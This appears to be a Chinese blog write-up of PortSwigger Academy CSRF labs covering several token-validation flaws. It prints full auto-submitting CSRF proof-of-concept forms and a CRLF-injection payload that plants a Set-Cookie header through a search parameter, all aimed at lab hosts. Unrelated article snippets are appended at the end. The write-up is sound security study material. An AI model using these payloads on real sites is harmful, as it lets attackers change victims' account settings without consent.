PostSwigger Web 安全学习:CSRF漏洞3

CSRF 漏洞学习网站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF Token 基本原理

CSRF Token 是服务端生成的唯一、随机且不可预测的字符串,用于验证客户端合法校验。

作用:防止攻击者伪造用户身份执行敏感操作(修改密码、转账)。

传输方式:

  • 将 CSRF Token 作为隐藏参数包含在 HTML 表单中:

<form name="change-email-form" action="/my-account/change-email" method="POST"><label>Email</label><input required type="email" name="email" value="example@normal-website.com"><input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u"><button class='button' type='submit'> Update email </button>
</form>
​
提交时数据包:
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
​
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com
​
​
# 每当用户刷新页面,服务端返回的嵌入在 HTML 里的 CSRF Token 都不一样,确保他的唯一性。
# 在这种情况下,用户构造表单时,构造不出 CSRF Token 的选项,导致攻击失效。
  • 将 CSRF Token 作为请求头。

我们有时候在靶场爆破时,经常会看见 POST 参数里有一个 CSRF Token,但我们通常会直接忽略它直接进行爆破。因为 CSRF Token 通常不是发一次请求包刷新一次,通常是刷新一次页面刷新一次 CSRF Token。然而爆破的过程中不存在刷新页面得行为,所以 CSRF Token 保持不变就能验证成功。

CSRF Token 验证缺陷

CSRF 漏洞通常由于 CSRF 令牌验证存在缺陷而导致的。

实验:CSRF Token 的校验取决于请求方法

有些应用程序 POST 方式和 GET 方式都支持。且只有 POST 时,才出现 CSRF Token。

操作:利用 GET 方式绕过 CSRF Token 校验。

这里有实验环境,我没有贴出来。

实验:CSRF Token 的校验取决于参数是否存在

如果 CSRF Token 相关参数不存在,后端直接忽略 CSRF 校验。

操作:直接删掉整个 CSRF Token 相关参数。

这里有实验环境,我没有贴出来。

实验:CSRF Token 没有绑定到用户会话

系统维护了一个全局有效的令牌池,在这个令牌池中的所有令牌都可用于验证任何页面。当用户携带 CSRF Token 访问页面时,仅验证 CSRF Token 是否存在于这个令牌池中,而不验证令牌是否属于当前用户会话。

操作:受害者利用攻击者的 CSRF Token 访问敏感操作页面。

案例:假设 wiener 是攻击者,carlos 是受害者。

  1. 由于 CSRF Token 是一次性的,所以刷新一次就生成一次 CSRF Token。

  1. 不要点击 Update email 按钮或刷新,导致一次性 CSRF Token 被使用后被销毁。

  2. 制作 payload,并放在攻击者服务器:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a0500a3044f74e280b66795005c0027.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;anormal&#45;user&#46;net" /><input type="hidden" name="csrf" value="iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
  1. 另一个浏览器登录 carlos 后,访问攻击者服务器,发现跳转到如下页面。

carlos 使用 wiener 的 CSRF Token:iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb 修改了邮件地址。

实验:CSRF Token 与非会话 Cookie 绑定

某些情况下,可用户 CSRF Token 绑定的并不是 Cookie 中的会话,而可能是一个其他值(如 Cookie 中的 CSRF Key)。当 Web 应用程序使用不同框架时(例如 Session 由 A 框架管理,而 CSRF Token 由框架 B 管理),这种情况下,很容易发生 CSRF Token 绑定的不是用户 Session,而是由框架 B 生成的其他值(如:CSRF Key)。

操作:受害者利用攻击者提供的 CSRF Key 和 CSRF Token 访问敏感操作页面。

案例:假设 wiener 是攻击者,carlos 是受害者。

  1. 登录 wiener 账户,抓包获取到 CSRF Key 和 CSRF Token。

csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB
value=QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0
  1. 不要点击 Update email 按钮或刷新,导致一次性 CSRF Token 被使用后被销毁。

  2. 制作 payload,执行如下操作。

    • 第一次 CSRF 攻击结合 CRLF 漏洞:将 Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB 设置为受害者 Cookie 中的 csrfKey。

    • 第二次 CSRF 攻击:利用 QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0 的 CSRF Token 访问敏感操作页面。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;a&#45;montoya&#46;net" /><input type="hidden" name="csrf" value="QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0" /><input type="submit" value="Submit request" /></form><!-- 利用此网站没有 CSRF Token 保护的页面注入 CSRF Key(第一次 CSRF 攻击),之后提交表单(第二次 CSRF 攻击) --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body>
</html>
  1. 另一个浏览器登录 carlos 后,访问攻击者服务器。

实验:CSRF Token 只在 Cookie 中复制(双重提交场景)

双重提交:

服务端生成 CSRF Token 后,将 Token 存储在 Cookie 中(如:csrf=CSRF Token),同时将 CSRF_Token 嵌入表单中。

校验 CSRF Token 时,仅判断 Cookie 中的 CSRF Token 和 表单提交的 CSRF Token 是否一致,不验证令牌是否由服务端生成或是否有效。

操作:受害者利用攻击者生成任意 CSRF Token 访问敏感页面。

案例:

  1. 制作 payload,执行如下操作。

    • 随意生成一个 CSRF Token。

    • 第一次 CSRF 攻击结合 CRLF 漏洞:将生成的 CSRF Token 设置为受害者的 Cookie 中的 CSRF。

    • 第二次 CSRF 攻击:利用 CSRF Token 作为参数访问敏感操作页面。

    • CSRF Token 验证:仅仅验证 Cookie 中的 CSRF Token 和 表单提交的 CSRF Token 是否一致。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;a&#45;montoya&#46;net" /><input type="hidden" name="csrf" value="Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB" /><input type="submit" value="Submit request" /></form><!-- 利用此网站没有 CSRF Token 保护的页面注入 CSRF Key(第一次 CSRF 攻击),之后提交表单(第二次 CSRF 攻击) --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body>
</html>
"CSRF Token 与非会话 Cookie 绑定" 和 "CSRF Token 只在 Cookie 中复制(双重提交场景)" 这两个场景使用到了 CRLF 注入漏洞
get 参数:test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None
​
CRLF 注入后的 get 参数,导致 Set-Cookie 被当作请求头解析:
test\r\n
Set-Cookie: csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB; SameSite=None

如上图,左侧请求中间响应,右侧 CRLF 注入后的参数。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/77504.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用 Nodemon 解决 npm run serve 频繁重启服务

Nodemon 是一个基于 Node.js 构建的开发工具&#xff0c;专为帮助开发者自动监控项目文件的更改而设计。每当文件发生变更时&#xff0c;Nodemon 会自动重启 Node.js 服务器&#xff0c;无需手动停止并重启。这对于提升开发速度、减少人工操作非常有帮助&#xff0c;尤其适用于…

django admin 中更新表数据 之后再将数据返回管理界面

在Django中&#xff0c;更新数据库中的数据并将其重新显示在Django Admin界面上通常涉及到几个步骤。这里我将详细说明如何在Django Admin中更新表数据&#xff0c;并确保更新后的数据能够立即在管理界面上显示。 定义模型 首先&#xff0c;确保你的模型&#xff08;Model&…

真.从“零”搞 VSCode+STM32CubeMx+C <1>构建

目录 前言 准备工作 创建STM32CubeMx项目 VSCode导入项目&配置 构建错误调试 后记 前言 去年10月开始接触单片机&#xff0c;一直在用树莓派的Pico&#xff0c;之前一直用Micropython&#xff0c;玩的不亦乐乎&#xff0c;试错阶段优势明显&#xff0c;很快就能鼓捣一…

C语言学习之结构体

在C语言中&#xff0c;我们已经学了好几种类型的数据。比如整型int、char、short等&#xff0c;浮点型double、float等。但是这些都是基本数据类型&#xff0c;而这些数据类型应用在实际编程里显然是不够用的。比如我们没有办法用一旦数据类型来定义一个”人“的属性。因此这里…

架构-计算机系统基础

计算机系统基础 一、计算机系统组成 &#xff08;一&#xff09;计算机系统层次结构 硬件组成 主机&#xff1a;包含CPU&#xff08;运算器控制器&#xff09;、主存储器&#xff08;内存&#xff09;。外设&#xff1a;输入设备、输出设备、辅助存储器&#xff08;外存&…

【计算机网络性能优化】从基础理论到实战调优

目录 前言技术背景与价值当前技术痛点解决方案概述目标读者说明 一、技术原理剖析核心概念图解核心作用讲解关键技术模块说明技术选型对比 二、实战演示环境配置要求核心代码实现案例1&#xff1a;iPerf3带宽测试案例2&#xff1a;TCP窗口优化案例3&#xff1a;QoS流量整形 运行…

Python 自动化办公:Excel 数据处理的“秘密武器”

引言 在日常的 IT 办公场景里&#xff0c;Excel 是数据处理与分析的 “常胜将军”。无论是财务人员整理账目、销售团队统计业绩&#xff0c;还是运营人员分析用户数据&#xff0c;Excel 都发挥着关键作用。但面对海量数据&#xff0c;手动操作 Excel 不仅效率低下&#xff0c;还…

缓存集群技术深度解析:从原理到实战

缓存集群技术深度解析&#xff1a;从原理到实战 一、缓存集群核心定位与架构选型 1. 集群模式核心价值 缓存集群通过数据分片、高可用保障、水平扩展解决单节点瓶颈&#xff0c;核心能力包括&#xff1a; 数据分片&#xff1a;将数据分散到多个节点&#xff0c;突破单节点内…

CSDN编辑文章时如何自动生成目录

如何自动生成目录 前置条件1. 插入目录标识符2. 编写标题层级 前置条件 需要使用markdown编辑&#xff0c;并且只有按照markdown语法编写不同的标题级别&#xff0c;才能使用这个方法自动生成对应的目录。 1. 插入目录标识符 在文章的顶部添加以下代码&#xff1a; [TOC](文…

产品经理对于电商接口的梳理||电商接口文档梳理与接入

接口梳理7个注意点总结 ①注意要测试环境和生产环境。生产上线时候要提醒研发换到生产环境调用。 ②注意必输字段和选输字段&#xff0c;要传入字段的含义和校验。枚举值不清楚含义的要询问对方含义&#xff0c;比如说单据类型字段枚举值是B2C发货单&#xff0c;BBC发货单&am…

更快的图像局部修改与可控生成:Flex.2-preview

Flex.2-preview 文本生成图像扩散模型介绍 一、模型简介 Flex.2-preview 是一种 开源的 80 亿参数文本生成图像扩散模型&#xff0c;具备通用控制和修复支持功能&#xff0c;是 Flex.1alpha 的下一代版本。该模型由社区开发并为社区服务&#xff0c;采用 Apache 2.0 许可证&a…

【Castle-X机器人】一、模块安装与调试:机器人底盘

持续更新。。。。。。。。。。。。。。。 【ROS机器人】模块安装 一、Castle-X机器人底盘1.1 结构概述1.2 驱动执行结构1.3 环境传感器1.4 电气系统1.5 Castle-x机器人底盘测试激光雷达传感器测试及数据可视化超声波传感器实时数据获取防跌落传感器测试陀螺仪测试键盘控制测试…

条件、列表渲染.

#### v-for 1. 渲染列表 vue <template> <ul v-for"(item,index) in list" > <li>{{ item }}</li> </ul> </template> <script setup> import { ref } from vue; let list ref([苹果, 香蕉, 橙子]) </script>…

node20的安装和vue的入门准备

一、node20的安装 直接下载路径&#xff1a;https://nodejs.org/download/release/v20.11.0/node-v20.11.0-x64.msi 安装&#xff0c;双击msi文件 点击同意协议 更改下载路径 什么也不用选&#xff0c;点击next进行下一步 什么也不用选&#xff0c;点击next进行下一步 点击安…

从 Java 到 Kotlin:在现有项目中迁移的最佳实践!

全文目录&#xff1a; 开篇语 1. 为什么选择 Kotlin&#xff1f;1.1 Kotlin 与 Java 的兼容性1.2 Kotlin 的优势1.3 Kotlin 的挑战 2. Kotlin 迁移最佳实践2.1 渐进式迁移2.1.1 步骤一&#xff1a;将 Kotlin 集成到现有的构建工具中2.1.2 步骤二&#xff1a;逐步迁移2.1.3 步骤…

威雅利电子|业界领先的高隔离度用于5G基站的吸收式SPDT开关“NT1819“

业界领先的高隔离度 用于5G基站的吸收式SPDT开关"NT1819" 为了实现智能社会&#xff0c;已经启动了5G服务。这样&#xff0c;高速、低延迟、大容量的数据通信成为可能&#xff0c;也给我们的生活和工业发展带来了巨大的变化。 在5G基站有很多天线&#xff0c;每个天…

Diamond软件的使用--(6)访问FPGA的专用SPI接口

1.什么是FPGA的专用SPI接口&#xff1f; 此处的SPI FLASH接口即为FPGA的专用SPI接口&#xff0c;上电时&#xff0c;FPGA从该FLASH读出程序并运行。 2.访问SPI PROM需要注意哪些地方&#xff1f; 1&#xff09;处于MASTER SPI MODE 2&#xff09;调用USRMCLK原语&#xff0c;…

Go 语言中的 `select` 语句详解

select 是 Go 语言中处理通道(Channel)操作的一个强大控制结构&#xff0c;它允许 goroutine 同时等待多个通道操作。下面我将全面详细地解释 select 语句的各个方面。 基本语法 select 语句的基本语法如下&#xff1a; select { case <-ch1:// 如果从 ch1 成功接收数据&…

AI如何重塑CC防护行业?五大变革与实战策略解析

一、CC防护行业的技术痛点与AI的破局方向 CC攻击&#xff08;Challenge Collapsar&#xff09;作为一种以高频合法请求消耗服务器资源的DDoS攻击手段&#xff0c;传统防护技术面临三大核心挑战&#xff1a; 规则依赖性强&#xff1a;基于IP封禁或请求频率的静态规则易被绕过&a…

GPT-4o最新图像生成完全指南:10大应用场景与提示词模板

引言 OpenAI于近期推出的全新GPT-4o图像生成功能&#xff0c;代表了AI图像创作领域的重大突破。作为一个原生多模态系统&#xff0c;GPT-4o将文本理解和图像生成无缝整合&#xff0c;为创作者、教育工作者和专业人士提供了前所未有的视觉创作灵活性。本文将分享10个GPT-4o图像…